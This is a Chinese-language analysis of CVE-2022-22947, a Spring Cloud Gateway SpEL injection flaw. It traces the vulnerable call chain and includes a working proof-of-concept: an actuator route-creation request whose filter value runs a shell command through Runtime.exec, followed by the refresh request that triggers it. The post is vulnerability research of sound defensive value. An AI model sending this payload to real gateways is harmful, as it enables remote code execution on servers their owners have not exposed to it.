CVE-2022-22947 SpringCloud GateWay SPEL RCE分析
环境
git clone https://github.com/spring-cloud/spring-cloud-gateway
cd spring-cloud-gateway
git checkout v3.1.0
POC
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
审计
首先根据POC可以大致看出这个漏洞根本原因是存在SPEL注入,再根据diff记录,重点关注SPEL注入相关函数的修改:
从这里就可以明显看出漏洞的触发点在org.springframework.cloud.gateway.support.ShortcutConfigurable#getValue,接下来就是往上回溯执行点
org.springframework.cloud.gateway.support.ShortcutConfigurable.ShortcutType这个枚举中调用了getValue函数,而shortcutType方法则调用了ShortcutType.DEFAULT枚举:
继续向上查找shortcutType函数的调用情况,可以看到在org.springframework.cloud.gateway.support.ConfigurationService.ConfigurableBuilder#normalizeProperties中对该函数进行了调用
这里的normalizeProperties函数对成员变量properties进行了调用,继续向上,则是ConfigurableBuilder的父类AbstractBuilder#bind中调用了normalizeProperties函数
继续向上找bind方法的调用
这里可以看到不仅调用bind方法,还调用了properties方法对后续关键的成员变量properties进行了设置
通过loadGatewayFilters方法向上回溯调用,可以找到这么一条链
RouteDefinitionRouteLocator#loadGatewayFilters -> RouteDefinitionRouteLocator#getFilters -> RouteDefinitionRouteLocator#convertToRoute -> RouteDefinitionRouteLocator#getRoutes ->
GatewayControllerEndpoint#route
从这里就能看出漏洞的来源是filter路由的添加
POC执行流程
首先通过添加路由功能添加一条路由,也就是POC中的请求,代码如下
这里可以看下构造路由所需的参数,也就是RouteDefinition的结构
再跟进一下FilterDefinition
还需要一个name和args的键值对
其他的则是validateRouteDefinition函数值得注意,它主要校验添加的路由的name要和已有的filter相匹配
简单看一下变量,已有的filter有29个,我们就可以根据这个29个filter的name去构造poc,而AddResponseHeader显然也是其中一个(选择这个filter的原因是它能够回显)
发送POC之后,新的路由就被添加了,但此时漏洞并没有触发,需要调用refresh接口激活刚添加的路由
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
发送之后,则会调用上文中的漏洞触发过程
总结
这个漏洞的原理还是比较简单的,但是整个利用链感觉还是比较复杂,想要完全梳理漏洞的触发逻辑还需要对spring cloud gateway这个框架有一定的了解,因此本文只是对这个漏洞的利用过程进行了一个大致的梳理,有一些细节就没有去深究了,这也是后续需要学习完善的地方。
参考
https://www.cnblogs.com/bitterz/p/15964852.html
https://y4er.com/post/cve-2022-22947-springcloud-gateway-spel-rce-echo-response